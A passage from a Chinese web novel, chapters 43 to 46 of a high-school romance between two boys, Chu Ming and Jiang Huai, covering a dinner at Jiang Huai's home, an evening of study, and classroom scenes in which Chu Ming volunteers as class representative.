才运动完身体是通透着的,四肢百骸就很被按摩过一样,疲累里噼里啪啦着舒爽。 楚明冲完热水澡,神清气爽。 他站在氤氲着薄薄热气的镜子前,指尖撩擦开那层雾气,看着镜面里的自己。 湿发被手指抓到头顶,露出饱满的额头,平时发丝对五官的遮掩彻底被释放开,他有些陌生地看着自己的脸。 目光穿透镜面,他在虚实里看到了运球上篮、满场狂飞的自己。 “忘说了,你刚才打得是挺帅的。” 多久违的评价…… 第43章 第 43 章 “你自己动。”…… 江淮洗完澡出来找了条瑜伽拉伸带, 往左脚上套的时候不免想到楚明。 他抿唇,单手提着带子作腿部拉伸时手指摸来手机打开。 置顶的群聊今天格外热闹。 【我俏丽吗】群聊是江淮当初一手创建,里面的成员基本都是他带领的篮球队里的。 今天严越多拉了个人进群: 楚明。 群里热烈欢迎欢迎半天也没见楚明冒头说句话, 于是群里从欢迎仪式无缝衔接到解说大会。 点评今天各位的篮球球技。 【阿越】我知道我帅得惨绝人寰人神共愤, 但不得不承认,下半场MVP是楚明。 【吹我犯规者亡】江哥跟他配合球打得不错,单带的话,三分的神! 【三分神】不行不行, 找个时间再来一场, 我要跟他比三分球! 【阿越】这得问江哥,他带来的人。 【三分神】这就去问。 江淮:“……” 半小时后他扯掉拉伸带转而走到旁边瑜伽垫躺下,开始做进一步的运动。 等呼吸渐沉额角窜汗时, 江淮爬坐起来,捞过水边喝边点开【我俏丽吗】群。 楚明冒泡了。 【楚明】谢谢。 回复的是严越那句“欢迎欢迎”。 被几个傻缺接连@并质问“为什么不回我”之后,楚明那边跟死机了似的半天都没发出过一条消息。 江淮哼笑了声, 戳到楚明的聊天界面给他发了条消息- 楚明盯着接二连三的群消息, 沉稳地戳到消息免打扰的设置。 发出一句“谢谢*n”之后他正要撂下手机,手心就轻轻震动了下。 【狗】明天有空没空? 楚明眉梢轻挑了下,几乎是下意识就反应过来这昵称应该是江淮的。 再看, 头像是颗简笔画的篮球, 笔触稚嫩着色潦草, 很像是小时候的手绘。 明天周天, 本来也没什么事, 除了早上补觉。 他谨慎地回过去消息:下午有。 【狗】正好,我妈请你吃饭,来我家。 【狗】定位我转你,明天来的时候带套题, 我想做。 楚明看得想笑。 没见过这么理直气壮脊梁骨能当铅垂线的邀约语气。 让人完全没有拒绝空间。 【Cming】好- 江淮家离“城屿·城”确实不远。 楚明先去学校蹬回他的两驱坐骑,然后绕着熟悉的路线往江淮家去。 【狗】进小区门右边那栋楼,3-1。 停好自行车楚明顺着指示一路向上,草草扫过小区建筑风格后他爬楼梯上三楼。 “小楚啊,”吴珊杵楼梯口等待良久,见到转弯过来的发顶后立刻亮起眼睛:“这儿,这儿!” 楚明面上勾笑,实则无奈轻叹:阿姨我识路。 吴珊把他往家里领时瞄了一眼他的穿搭,白灰色短袖配黑褐色长裤,挺青春阳光的。 就是……还背了个书包。 “你这是周末补课才结束吗?”吴珊给他拿一次性拖鞋时问了句。 “算是吧。”楚明弯腰称谢换鞋。 吴珊点了点头:“哦,真是个爱学习的孩子。要是江淮能有你一半爱学习就好了。” 楚明:“……” 正走出卧室要拨开帘珠的江淮:“……” 楚明笑得有点卡帧,他说:“阿姨,江淮学得比我好。” “是吗?”吴珊笑了笑,接过他手里提着的水果袋,说:“他有时候就是头倔牛,倒是挺能耕地,就是得先抽几鞭子他才能听话地到地里去。” 楚明笑而不语。 “我其实更喜欢你的性子,温和乖巧,”吴珊帮他带到沙发处坐下,“你说性格这东西能不能传染?” 楚明挂好书包,坐下,“啊?” “要能传染的话,我让江淮天天跟你待在一起,是不是就能把性子传些给他?” 楚明:“……” “害,应该没有这么轻巧的传播途径,”吴珊自顾自地摇摇头:“发烧感冒都要唾液传播呢,何况性格这东西。” 楚明静静坐着听她的逻辑,目光小心地抽开想寻江淮的影子。 正巧抬眼就见帘珠碰撞出脆响,江淮穿着身宽松的睡衣走了出来,眉眼冷淡地说:“你要实在喜欢,我娶了他,您满意不满意?” 楚明被空气呛到,偏过头猛咳了两声。 吴珊也听得发愣,好不容易削成长条的苹果皮咔嚓就断了,她清了清嗓子:“江淮你又在扯什么狗皮!” 江淮坐到楚明旁边:“儿随妈,跟着您扯呗。” 吴珊:“……” 她把削到一半的苹果硬生生塞到嘴里,咔咔两口:“行行行,我不念叨行了吧。” “嗯,”江淮随意地点了下头:“行。” “我不念叨了,但你也气着你妈了,”吴珊把剩下半截苹果皮腰斩了:“今晚你做饭,老娘就不下厨房了。” 江淮:“……” 他轻顿:“行。” 楚明再度见证这略显微妙的母子关系,轻轻扶额后,起身说:“我来帮忙吧。” “诶,小楚你坐着陪阿姨聊聊天,”吴珊连忙拉住他:“我还好多感谢的话没跟你说呢。” “说屁,”江淮反手把楚明往自己怀里一拽:“我叫来的人随我。” 楚明:“……” 吴珊顿时起身:“江小狗你是不是要跟老娘我对着干!” 江淮抬眼:“是又怎样?” 吴珊呼呼几口大气,想要使出平生所学的瞬间想到还有个性格温和乖巧的楚明,紧急刹车,柔声说:“让小楚说,小楚,你是坐这跟阿姨聊天还是跟姓江的傻逼去当苦力?” 楚明:“……” 他夹在两人中间有些无所适从,轻叹后说:“我等会陪您聊吧。” 没被坚定选择但被委婉拒绝的吴珊垂下眼伤心地咬了口苹果,挥手:“行吧行吧,江淮你胆敢乱吩咐人,我这把水果刀晚上就能变凶器。” 江淮拽走楚明,从心地评价:“傻逼。” 吴珊:“……大傻逼!” 饭倒是先蒸好的,剩余的就是弄菜。 江淮拉开冰箱看了看里面满当当的食材,把死得凉透了的鸡块拿出来。 “你先换身衣服?”楚明看着他的睡衣,不禁问。 江淮扭头看他一眼:“怎么,碍你眼了?” “……没。”楚明轻叹,放清水把鸡块清泡好。 厨房里丁零当啷全是动静。 江淮做饭比想象中要动作顺畅得多,熟练地清洗削皮剁块。 楚明站旁边打着无关紧要的下手,比如:剥蒜。 “再来个洋葱。”江淮切姜末的时候淡淡地吩咐道。 “嗯,”楚明转手掏出洋葱,清洗剥皮。 江淮接过,切成两半用刀以倒三角的方式片掉根基基部,正要往下切的时候他偏了下头。 “操。”江淮闭紧双眼。 “怎么了?”楚明看了他一眼。 “没,”江淮被洋葱刺激到眼睛泪腺,这会儿睁开眼估计就是那种一哭二闹三上吊人的可怜模样,他背过身:“你出去。” 楚明:“……” 江淮应该很适合去当形象大使。 永远在丢脸发生之前便阻滞了可能会见证“名场面”的所有人。 他轻轻叹气,从江淮手里拿过半块洋葱,往水注下淋着。 半会儿他挤开江淮把半块洋葱切好。 “我靠,”江淮背过身去用手背抹了下眼睛,把润湿的眼泪抹掉,退出两步倚墙看着毫发无伤的楚明,挑了下眉:“你转过来我看一眼。” 楚明:“……” 他把余下半块洋葱迅速切好装盘,走到旁边用清水洗手。 正转过身就见江淮也顺着压了过来,他躲避不及被推抵到台沿,慌忙之间手胡乱撑靠住台面。 江淮真没料到他要突然转身,发丝潦草地擦过自己鼻尖,他轻滞:“你干嘛?” 距离太近,楚明不太自然地把头往后仰了些:“你退后一点。” 正要退开些,听到他这话江淮轻顿,手越过他腰际撑到他身后的台面,垂眼吩咐:“你自己动。” 楚明:“……” 一门之隔吴珊似乎闲得无聊,投过视线往这边看了眼:“要我来帮忙吗?我实在不放心你们两个大男人在厨房,别给我把锅炸了!” 见江淮没有要答话的意思,楚明说道:“……不用。” “哦,”吴珊失望了一瞬:“等会你爸要回来,半小时左右,江淮你加快点进度!” 楚明替答:“好的阿姨。” 近距离之下,楚明说话间胸腔浅幅的震颤能传导到对方感知之内。 他看向江淮,目光简短逗留在他微红的眼尾和润湿的眼眶,喉间轻滚,他伸手横臂顶撞开江淮腰腹,趁着他弓腰利落侧身。 江淮不怒反笑,转身坐抵在台面朝他抬了抬下巴:“不错。” 楚明:“……” 他别开眼去取来一把香菜,准备洗切。 “说真的,”江淮揉了把腹部,目光从水流间清濯的手指缓缓上移,落到楚明微垂的眼睑,他说:“但凡你是天天顶我的性格,今天的话我还就当真了。” “什么话?”楚明说完顿觉有种不太妙的预感,心脏被花椒水淋过似的,麻意窜达无数根神经。 “娶你。”江淮勾了下唇。 “……”楚明没抑制住,把香菜茎掐断了。 他沉默着走到水槽前洗手,关掉水龙头时他克制地没把满手水甩江淮脸上。 转身,目光从江淮身上淡淡瞥过。 忽地轻顿,他温和提醒:“裤子湿了。” “嗯?”江淮顺着台面直起身子,扭过脖颈往后看去。 刚才不小心坐在水槽边,裤子边缘被水浸得深湿,不知道是不是幻觉,隐隐还能闻到洋葱和香菜味儿。 江淮:“……” 他伸手扯了扯裤子,湿的范围还挺大,“我操,我就说刚刚怎么有种穿开裆裤的感觉。” 楚明:“……”- 今晚菜品不多,极端家常。 一盆土豆炖鸡,一盆番茄汤,一盘清炒生菜,一盘青椒炒肉,一坨糖醋排骨。 “呃……”吴珊居高临下地审视着萎缩版黑排骨,“这是怎么做出来的?” “拉出来的,”江淮抽过两双筷子并递给楚明一双:“爱吃不吃。” 吴珊:“……” “我来尝尝,”江淮他爸伸出勇者之筷,在黑不溜秋里捕捉到排骨,夹起,丢进嘴里,召唤牙齿,皱眉屏息,吞咽后边用口水洗嘴边点评:“怎么是苦的?” 为防江淮再口出影响食欲的言,楚明赶紧说:“炒糖色没注意到时间。” 江淮看了他一眼。 “哦,”江竞先点点头:“那其实还是能吃的,挺开胃。” 这顿饭吃得轻松而快速。 “之前一周多时间确实太麻烦你了,”吴珊笑着说:“你要什么尽管跟阿姨说,阿姨能做到的一定做。” 楚明捧着白水杯浅喝两口,轻声:“不用。” “那还是要用的,”江竞先声如洪钟:“你要愿意,我让江淮去你家扫地洗碗当保姆一周都行。” 楚明:“……” “提要求呗,”桌面下江淮勾了下他小腿:“我都满足。”—— 作者有话说:明天见。 虽然但是多嘴一句,现在可能应该也许大概都看出楚明有点什么过往了,江淮显然也发现了,所以有时候会应激性地去逼楚明一把。 【比如这章的这次,非常不合时宜且非常虎狼之词,but,有用即真理[点赞]】 浅浅解释一下,我怕有人真把江淮当流氓了。 (江淮:风评这一块儿[愤怒]) 第44章 第 44 章 你要有本事站起来,我给…… 要求? 热气浮在前额眼间, 楚明默默盯着杯中水。 “既然小江这么说,那你们的事就你们自己掰扯出个方案来,”吴珊扒拉起还想喝口汤的江竞先:“我俩先回家, 江淮记得洗干净碗, 看个电影或者吃点夜宵反正先玩会儿再送小楚下楼,别怠慢客人。” 江淮瞥了他俩一眼:“再见。” “嘿你个小崽子巴不得我走呢!”吴珊捞过包蹬上鞋。 江竞先意犹未尽地跟着出去:“再见再见,下次我再来吃饭。” 门嘭的一声被关上,屋内顿时安静下来。 “怎么, 没有想法?”江淮转过上半身看着他。 楚明点头:“……嗯。” “那留着以后吧, ”江淮挑了下眉:“现在先洗碗。” 楚明撂下水杯站起身来:“……好。” 楚明负责洗江淮负责清。 中途传接工作完成得相当漂亮,至于收尾是楚明来负责的- “我要的题呢?”江淮抽张纸细致擦手时抬眼问了句。 “书包里,”楚明擦拭过台面上的水渍, 洗手:“我给你拿。” “嗯。”江淮跟他往客厅去。 江淮家的沙发确实挺软,坐上去感觉屁股都给吸进去了。 楚明翻出数学套卷递给他:“那你做着,我先回去了?” “回家有事?”江淮没接, 先问。 “没……”楚明说。 “嗯, 那就我做。”江淮抽过他手里的试卷,摸出茶几下的笔转了圈:“你看。” 楚明浅浅地舒气:“……行吧。” 他微微后仰些窝在靠背上,手心按压着软得像云一样的沙发垫, 舒坦地往后枕去。 看着明亮顶灯下江淮笔直的脊背, 他微微歪了歪头。 “要睡先脱了洗干净, ”江淮像是能感应到他的睡意蓄积值, 冷不丁地冒出一句。 “……没睡。”楚明想坐直, 但被沙发垫软得没撑起来。 他改用双手去撑,终于坐了起来。 “但愿。”江淮在画坐标系算约束条件下y/x的最大值,闲着问了句:“上周周考数学试卷范围是什么?” “你应该还没学,”楚明坐着坐着又软回沙发里, 声音透着股由内而外的轻松:“基本是高一的。” 江淮对这句废话不作评价。 楚明给他挑的这张卷子是没有归属地的自命题综合试题。 江淮把个中知识点打圈标记完毕期间,分针已经完成三百六十度大旋转。 他起身伸了个懒腰,低眸就见楚明歪着上半身倒在沙发里,跟昏迷了似的。 下一秒就要拍到楚明脸上的手在最后一刻有所停顿,江淮俯身,指腹极轻地碾平他微微皱起的眉心:“啧,睡神。” 江淮坐到他旁边玩手机。 屏幕里是今年男篮亚洲杯小组赛回看视频,他随意看着,眼尾余光却忍不住落在楚明脸上。 不是个好睡姿,醒来会腰酸背痛的那种。 楚明双腿向前摆放,上半身却东西向横倒,腰腹侧扭出近直角的弧度。 正枕在右臂呼吸平缓。 睡得潦草,衣领领口被拉得凌乱,能清晰看到修长脖颈之下漂亮且深凹的锁骨窝。 江淮把手机扔到旁边,任由解说员激情澎湃,手有些不受控制地抬了起来。 指尖极轻地扫过楚明的脸,从额骨顺过眉心、沿鼻梁骨滑到鼻尖,继而陡直向下,带过温热的鼻息起伏,稳稳地停留在柔软的唇间。 楚明对此没有任何感知,跟睡在棺材板里的人有异曲同工之妙。 江淮眨眼的频次愈发降得低,他怔怔地看着自己的食指冒昧地探进楚明温热的口腔…… “好球!”解说员忽然一炸。 江淮惊了一跳,连忙抽回手指,指尖相搓捻掉那层湿黏。 他坐正,若无其事地去调低音量,认真地看方才进账约旦队的三分球。 余光里楚明纹丝不动,好一会儿江淮才发出感叹:“操。” 他没忍住笑出了声:是他低估了楚明的睡眠质量。 “猪都没你睡得沉吧。”他说- “好的,今天的比赛就到这里……” 十一点的时候江淮把这场热血的赛事追看完,起身伸了个懒腰。 回头瞥见楚明缩得更紧,仍是没有睁开眼睛的迹象。 “啧,”江淮轻顿,低凝半秒后俯身,手臂穿过他膝盖窝和后背,试探着掂量了下,将人抱了起来。 懒懒的气息兀地落在胸口,江淮指尖很轻地瑟缩了下:“怎么这么重……” 走到卧室把楚明放到床上,沉默地打量他片刻,江淮艰难地压下了那股把他衣服裤子扒了的冲动: 弄脏弄脏吧,月底差不多也该换床单了。 床挺大的。 江淮把做完的试卷拎到手里,靠着床头细细研究错题。 过点(a,b)作曲线切线……最多半小时。 0<b<2范围内可作两条切线……得叫醒楚明。 江淮冷着脸想扇自己一巴掌。 重新聚神把题看完他反手拍了拍楚明的脸:“该醒了。” 楚明没动。 “……”江淮着实佩服,把试卷扔旁边,指间飞转着笔坐直。 他重重的一巴掌拍在楚明屁股上。 “嗯……”楚明眉心很浅地皱了下,眼睛没睁开只是睫毛微颤。 “你上辈子是困死的吗?”江淮的脸定在他正上方,又拍了一掌说:“跟睡美人似的,还等谁来亲醒你吗?” 楚明最终还是被他搞醒了。 怔愣地偏过脑袋背光睁开眼,他嗓音沙哑:“烦不烦……” “我烦?”江淮啧了声,往他屁股上掐了一把:“傻逼,这是我家。” 楚明仰了仰头:“嘶……” 他渐渐意识回笼转入清醒状态,看清楚江淮的脸时他眨了眨眼:“不好意思。” “哦,”江淮收回手:“还知道醒啊。” 楚明:“……” 他慢慢坐直身子,没顾着屁股上若隐若现的痛意,而是看着身下灰色调大床陷入短暂的沉默。 旁边衣柜半开,里头一件球衣正独树一帜地挂着,球号是九。 留意到他的视线,江淮起身把衣柜拉上,沉默不言地从上往下看着他:“还要我抱你下床?” 楚明:“……” 他快速起身,穿好鞋方方正正地靠墙站好。 “你给我的是什么地方的试卷?”江淮捞起床角的试卷看向他,堂而皇之地转移话题。 “怎么了?”楚明才清醒,没答反问。 “考点题型知识点很清晰,”江淮说:“正好用来检测水平,挺不错的一套题。” 楚明掠过试卷边角上他自己标记出来的97分,轻顿:“应该是其他地方的训练卷。” “还有吗?”江淮问。 “有,”楚明说:“不过你得先学一些再说。” “还分阶段呢。”江淮说着往外走。 楚明跟上:“嗯,就跟小学初中高中一样。” “……我听得懂。”江淮被他的傻逼比喻无语到,快步走到客厅。 收拾好书包楚明跟他道谢,“先走了。” “我送你,”站旁边好久一言不发的江雕塑忽地出声。 “不用,”楚明挎上书包带子,说:“我认路。” “那我偏送,”江淮挑了下眉,转身折返回去前说:“等我两分钟。” 楚明说:“……好。” 他走到鞋柜边换好鞋边等江淮。 两分钟后江淮走了出来。 原来是去把他那身宽松到能到按摩店当师傅的睡衣换了。 楚明收回目光拉开门先一步走了出去。 江淮后脚跟上,嘭地关门瞬间他突然一愣:“等等——” 楚明略有所感,问:“没拿钥匙?” 江淮在心底冷酷地承认自己今晚脑子确实有些走筋、浆糊似的乱七八糟,但他面上却平淡如水:“不是,没换鞋。” 楚明目光落在他空无一物的双手上,违心地:“……哦。” 小区里绿化率很高,出楼之后蝉鸣阵阵凉风温顺。 等楚明跨到自行车座上,江淮抬了下手:“晚安。” “晚安。”楚明回道。 目送着他弯弯绕绕地离开,江淮环小区一楼楼层逛了一圈,成功捕捉到几张“开锁”广告。 物色到两张看着还算靠谱的,他坐在地上,拨通电话号码打过去挨个询问。 一个小时后,江淮从地上爬起来,接过新钥匙:“谢谢。” “不客气,”开锁师傅挎着他那包工具事了拂衣去,藏不了一点功与名:“厉害吧!记得下次还找赵师傅我啊!” “嗯……”江淮心想:没有下次了- 周一,流动红旗熟练地与21班没有丝毫误会地擦肩而过。 回到教室时上周周考成绩单已经全部上墙,围着一圈好奇精踮起脚尖地看。 “回教室回教室,”卫疏轰着人:“下课再来心如止水,现在我要你们热情似火。” 一众好奇精:“……” 依依惜别完成绩单,好奇精们一步三回头地走回教室。 “这次周考的语文试卷是我隔壁老教师找的题,”卫疏笑了笑:“酸不酸爽?” “老师好难啊!阅读理解理解不了一点!” “太酸爽了,能当方便面调料了!” “我知道难,”卫疏说:“林清玄的文章放到阅读理解就没有轻松头,我看你们做得也确实稀烂……不过不重要,在讲试卷之前我想先给自己找个语文课代表,有没有同学赏个脸呢?” 楚明极轻地掀了下眼皮,转而无事发生地继续看阅读理解文章。 教室里一阵唏嘘。 倒也不是不想当,只是直接站起来或是举个手实在太尴尬也太招摇,还怕万一有志趣相投的也站起来,搞个人气竞选就尴了个大尬了。 一般人没这个胆量也不愿趟这险。 “呀,我大语文就是这么没有人气吗?”卫疏抚慰着戒尺沧桑的灵魂,“五分钟吧,给你们五分钟‘弃暗投明’的思考时间,不然我就点兵点将点到谁就是谁喽?” 底下开始细语纷纷。 江淮浅浅扫了眼卫疏和前面的后脑勺大军,抽出草稿本大笔一挥。 楚明心有所感地看了过去。 你要有本事站起来,我给你个奖励。 ——江淮。 楚明:“……”哄小孩儿呢。 他垂眼看着江淮的字,潦草中带着硬朗,就像是竹剑,剑气不取决于生然剑刃,全然存在于剑气之中。 这抹剑气荡得他内心微起波澜- “差不多差不多了,”卫疏抬头:“再安静下去看监控的以为我们集体入定准备修仙问道呢。那我正式地问一遍,有没有同学想当我的课代表?有的话直接站起来就行。” 短暂的面面相觑和默契的悄然无声后,有椅脚轻轻擦过地面的呲声。 卫疏看清楚时惊讶地睁大了双眼。 前面几排同学动作整齐划一地甩头看向后排。 楚明笔直地站在朝阳晨光里。 额间碎发遮住眉眼,他微微抬头,隔着一层细碎的掩护回视缭乱的视线眼针,心中怦然跳着。 “不是吧?” “居然是楚明?他转性了?” “啊???” 卫疏同样震惊,但耳边议论声渐渐扩大时她连忙抬手制止:“安静安静,别瞎起哄。” 但议论声不止反升,楚明就跟站在KTV包间里似的,周遭全是环绕音。 他垂在身侧的手微微收紧。 卫疏收拾好自己的心情,抬起戒尺捅讲台,捅完教室也安静了。 她嬉笑说:“哎呀,我也是重新拥有课代表的老师啦!” 楚明在心底牵动了下嘴角。 “嗯……其实楚明同学也确实是我心中的最佳人选,”卫疏笑着说:“你们刚抱怨难得能煮泡面的这套试卷,楚明同学是语文单科年级第一名,一百二十九分。” 话落教室里又是一阵狂热的唏嘘。 江淮挑了下眉,偏头去看楚明,见他抿唇而站、指尖时不时地搓着。 他伸手从下握住了楚明的手。 手指强行戳进他的拳心,撑开,斜扣住他的四指,大拇指抚慰般地揉擦着他的指背。 楚明垂眼看来,犹豫半秒后没有缩回手。 “其实之前也有很多次,只是语文向来不像数学英语那么客观,”卫疏说:“所以我不常强调语文排名这件事。我今天说呢,也是想告诉大家,我们的新语文课代表很优秀——大家来点掌声好不好?” 四十多个脑袋转朝向最后一排。 像是第一次看到楚明这个人,眼里俱是愕然。 和初次见到满身挂彩的江淮一模一样。 愣完徐徐有掌声响起,先是从赵逵逵那边爆发,再延伸着推向前方。 江淮仰靠在椅背,指腹敲打在他手背,以鼓掌的律动。 楚明眼皮轻掀,指尖不自觉地收拢。 “PIAPIA”环节结束,卫疏开始讲周考试卷。 楚明坐下,卷面上那些字像是被塞到洗衣机滚筒里似的乱翻乱滚,他的心半天都没离开嗓子眼。 而手依旧握在江淮那里。 两三分钟后他缓过劲来,慢慢地从虎口夺走自己的手,在草稿本上认真地写了句。 谢谢。 江淮微勾唇,回: 口头谢谢就算了,请我吃饭。 ——江淮。 楚明很轻地笑了笑。 回完好,目光扫过最顶上的那句“我给你个奖励”,他不禁圈出这词,在旁边打了个问号。 不是欠你一次?让你摸回来,随时。 ——江淮—— 作者有话说:明天见见见见见!! 第45章 第 45 章 ——楚明。 楚明:“……” 他默默地移开视线, 回手把草稿本扣了过去。 担心空气里不幸看到这句话的分子原子发出烧水壶般的尖锐爆鸣。 江淮在旁边很轻地笑笑。 他欠楚明的是摸他腹肌那次。 不过这话确实是句噱头,他只是想刺激着楚明站起来。 他能感觉到在楚明心里,卫疏和别的老师不太一样, 他能去她办公室躲清净、做作业……或许如果没有魏天, 他应该是想当这个语文课代表的。 当然如果楚明本身没有这个欲望,他的话也起不了任何作用- 语文课下课期间教室里相当热闹。 全然没给早上第一节课课间丝毫面子——没几个人在趴着瞌睡。 几十双眼睛就跟开启自瞄模式了似的,纷乱地射向后排。 江淮闲着扫了眼他同桌,轻声问:“出去走走?” “嗯?”楚明往江淮这边偏头时才注意到有许多人在看自己, 轻顿:“好。” 两人一前一后走出教室, 议论声才放肆起来。 从其他科任老师那拿到成绩单的课代表就跟皇帝登基似的,往那一坐朝臣们就涌了上来,恨不能俯首帖耳。 “看快点, ”英语课代表说:“杨老师催着要成绩单看呢。” “我靠,还真是129单科第一?” “嗯?这个楚明让我感觉到有点陌生。” “等等等等,我眼睛突然瞄到什么不该看的东西……上次江淮不是数学第一吗?这次才96分?” “那什么, 但江淮副科好像都及格了……” 没等议论纷纷开, 英语课代表帅气夺单,说:“父老乡亲们实在对不住,我先给杨老师送去, 你们上外面看去吧!” 众人意犹未尽地朝成绩单投去最后一瞥。 英语课代表走出教室。 余光瞥见站走廊里并肩走着的两道齐高的背影, 正想避让开就见两人突然搂抱在一起, 她即将抽开的目光又坚定地落回。 江淮长手把楚明往自己怀中圈抱住, 压在他耳侧不知说了句什么, 下一秒就见楚明一个侧转挣出,正要往外走出两步就被抱得更彻底。 英语课代表:“我操。” 她抱紧成绩单竞走着从他们身边经过,跟精种特务似的随意往他们那边瞥去一眼。 只见江淮眉眼间笑意分明。 她意味深长地收回视线,把成绩单看了一眼。 分数没什么特别的, 17名和31名……也不般配啊- 林丘走进教室时面带笑意。 他把着成绩单念道:“61分,江淮。” 江淮抬眼往讲台上投去视线。 “人文题一直算是比较简单的,这个成绩还是有点不太好看,起码得上个七十。”林丘说着把成绩单放下,慢悠悠地走下讲台,站中间几排的过道里看江淮:“是不是啊,江淮?” 意识到这是在跟自己说话,江淮挑了下眉:“不是。” 林丘:“……” 他微微顿住,不太沉稳地说:“哪里不是?” “我对成绩没这么高要求,”江淮说:“能看就行。” “心态真稳啊哈哈哈。”但尬笑着的林丘的内心却是:个死猪不怕开水烫的! 文综地理题确实难度不高,林丘光速过完11道选择题并带完几道大题,要讲选做题前他看了眼尚还充裕的时间,边对折试卷拉深折痕边说:“我听说你们上周挺热闹啊。” 睡得迷茫于九天之外的人群瞬间被拉回现实。 眼里的清澈被打散,目光炯炯如火。 林丘欣慰着看着这群学生的反应,用试卷给自己扇着妖风,抬头下巴指了指前排的空位:“小天呢?请假都三四天了还不回来?” 同学们俱是一愣。 林丘却像是完全不知道事情原委一般,茫然得恰到好处。 “她转学去一中了。”魏天同桌顶着交错的视线回答。 “好端端的怎么突然转学?”林丘上半身压在讲台上,跟好奇宝宝似的:“是学校里有人欺负她吗?” 安静,教室里瞬间安静。 林丘被这动静吓得一愣:“你们这反应,还真有人欺负小天啊?” 不得不说,坐在教室最后一排,是提高回头率的一级方案。 上节课才接受过注目礼的楚明,这次以江淮同桌的身份再次受到波及。 他有些想笑,埋着头嘴角一丝丝勾起。 江淮倒是气定神闲。 淡淡地回视完毕,抓起平放好的红笔开始转着玩。 “怎么都在往后看,”林丘顺着众人的视线往后看去,“你们这是在看江淮吗?有没有人能起来跟我讲讲是个什么事啊?” 死去的回忆在一寸寸诈尸。 魏天同桌目前是21班唯一一位没有同桌的,身影孤零零的显得可怜。 但人却很是坚强,她举了下手说:“老师,魏天是被江淮吓跑的。” 江淮:“……” 他指尖没勾动笔,笔身牢固地卡进指缝。 “啊?”林丘张大了嘴巴。 “他打女生,一点情面都不顾,换我我也转学。”魏天同桌说。 “诶!”赵逵逵狂浪般的声波自后扫荡开诸多后脑勺,慷慨兮激昂兮:“明明是江淮先被欺负你怎么张口就乱说?” 林丘眼睛亮了起来:“别吵别吵,好好说,我听个事实。” 于是魏天同桌和赵逵逵各执一词开始为自家人激情辩护。 在场的无一不清醒,连林丘都亢奋到上半身趴进讲台里、就差亲密无间来场跨越物种的缠绵了。 江淮漠然地听着自己的事迹以多种视角被争相回锅,指尖压下笔,举手。 林丘投来视线:“怎么了?” “上厕所。”江淮起身说。 楚明极轻地顿了下:不知道该说江淮专一还是傻逼,逃课借口十年如一日。 林丘只觉一阵扫兴:“……你去吧。” 等江淮大步离开教室,教室里争吵着的双方渐渐平静下来。 没有当事人吵起来有什么意思。 林丘看着风波渐息的两人,咳了一声作陈词:“我差不多明白过来是怎么一回事了,这男生打女生确实不太合适,该改;这女生闯男生厕所也不太合适,该改。” 江淮站在后门门槛外,交替着脚踝压脚踝,双手抱胸随意地听着林丘的话。 “但是转学证明事情还挺严重的。”林丘拧眉拧得有些忧郁。 “是啊是啊!”跟着就响起几声诚恳的回应。 “江淮还是脾气太差,开始上课没两分钟就呛我一次,这年头老师不好当啊。”林丘往前后门都飘了一眼,继续说:“跟我上一届一个学生很像,只不过那个学生是挂的那边的学籍来我班上读,妥妥的关系户……我和你们一样,不太喜欢这种走点关系脾气就硬上天的……” “嗯嗯嗯!”前排拨浪鼓式疯狂点头。 “果然关系户……”后排议论纷纭。 “好了好了……八卦说到这里,我们继续上课。”林丘笑着招回一众学生,见同学们火热非常,他欣慰地把选做的两道题一并讲解了:“影响五常大米品质的区位因素……” 江淮站直,没有尿意。 他转身走进教室回到座位坐下,正想尝试着在逼仄的桌椅空间里做一下翘二郎腿的高难度动作,就见两根素白的手指推着草稿本到他桌面。 上面写着: 林老师接收信息比较慢,你别太放心上,两三天后他就不会再提你了。 挺漂亮的字。 但没一个字说在他心上,江淮漠然地收回视线。 楚明对此并不意外,认真地看着讲台上板书着的地形气候水源土壤等的区位因素,心下却有些空。 他余光里包裹着江淮,留意着他平静的一举一动。 像是在做什么重要决定,他沉默半晌后抬手,坚定地把那行字划掉。 江淮挑了下眉,凑过去看着他写字。 不是一贯会写在草稿本上的楷体。 而是楚明最为放松最为自由的字体,锋利割人那一类。 你怎么不怼他? ——楚明。 写下这短短几个字并点上收尾,楚明感觉自己好像隔空被那天晚上的篮球砸到耳朵了。 一瞬间有股炸跳着的耳鸣回荡。 但他捏着笔的手却异常的平稳,能去帮眼花老奶奶穿针眼的那种平稳。 “分析草原围栏对草原野生动物和草原资源可能造成的危害……这道题从什么方面分析……来看答案……首先第一点……大概就是这样……剩下的时间自己整理……” 林丘的声音近在耳边却又远在天外。 字眼却都模糊不清。 江淮垂眸扫着这行字以及楚明首次出现的署名,心脏抽停了一瞬。 还是有些难以置信,尽管他无数次希望楚明就是这样的人。 再度砰砰砰的时候便像鼓点一般,过于强烈,江淮感觉自己的心脏此时此刻过于向往自由,有种想冲破胸膛出去浪的狂野。 “叮铃铃——下课下课!”林丘嬉笑着卡点下课,和几个围上来的学生不分你我地交谈着。 但没交谈两秒跑操铃声就扬着恶魔双角回荡在教室。 “跑操跑操!”刘明宇和陈炜在前后门分别指挥着。 人流渐渐涌出去,教室空落下来。 楚明和江淮都没动,两道目光交汇于纸面,无声地坐着。 “操。”江淮舌尖缓缓带过齿尖,那股利劲刺得他舌尖发疼,他手指叩在桌面:“我他妈越来越喜欢你了。” 楚明猛地一呛:“咳——” 江淮说完才意识到自己说了些有歧义的话,补救道:“我不是严越你别乱想……” 楚明抬眼去看他。 “我的意思是,”江淮说:“你写的和我想你写的一模一样。” 楚明知道这点。 他一直觉得,江淮是一个很简单很好懂的人。 暴躁语气之下的温和,平静语气之下的愠怒……他基本能感知个八九不离十。 他很轻地笑了笑,对着江淮。 “哎!”感觉整栋教学楼跟被屠了似的安静如死灰,江淮保持清醒地立马起身:“再不走我他妈又得被当猴儿。” 楚明起身跟他出去。 空旷的楼梯间人影寥寥。 江淮膝盖恢复得还行,但看到楚明火箭炮一样窜出去的身影他连忙伸手抓住他飞扬起来的衣摆。 楚明被拽了回去,低江淮三阶稳住身形,他仰头看去。 “难怪第一天能撞到我,”江淮拽着他衣摆怼着他往前走,“你跑得是真快啊。” 楚明:“……” 他嘴角勾了下,压下脚步顺着江淮走—— 作者有话说:宝贝们今晚再见一面[狗头叼玫瑰] 第46章 第 46 章 “让你去写,行吗?”…… 最后两人双双迟到。 到操场时班级方阵已经出发四分之一圈, 耳边是浩浩荡荡的音乐声和死不来气的班级口号声。 “管他的,”江淮走到单杠前。 楚明也跟着站过去,他点了下头:“嗯, 想跑跑不了。” 江淮被他的话逗笑了, 转头看着旁边捧书而读的学生们,抬手扯了下楚明的衣角。 楚明轻顿:“嗯?” 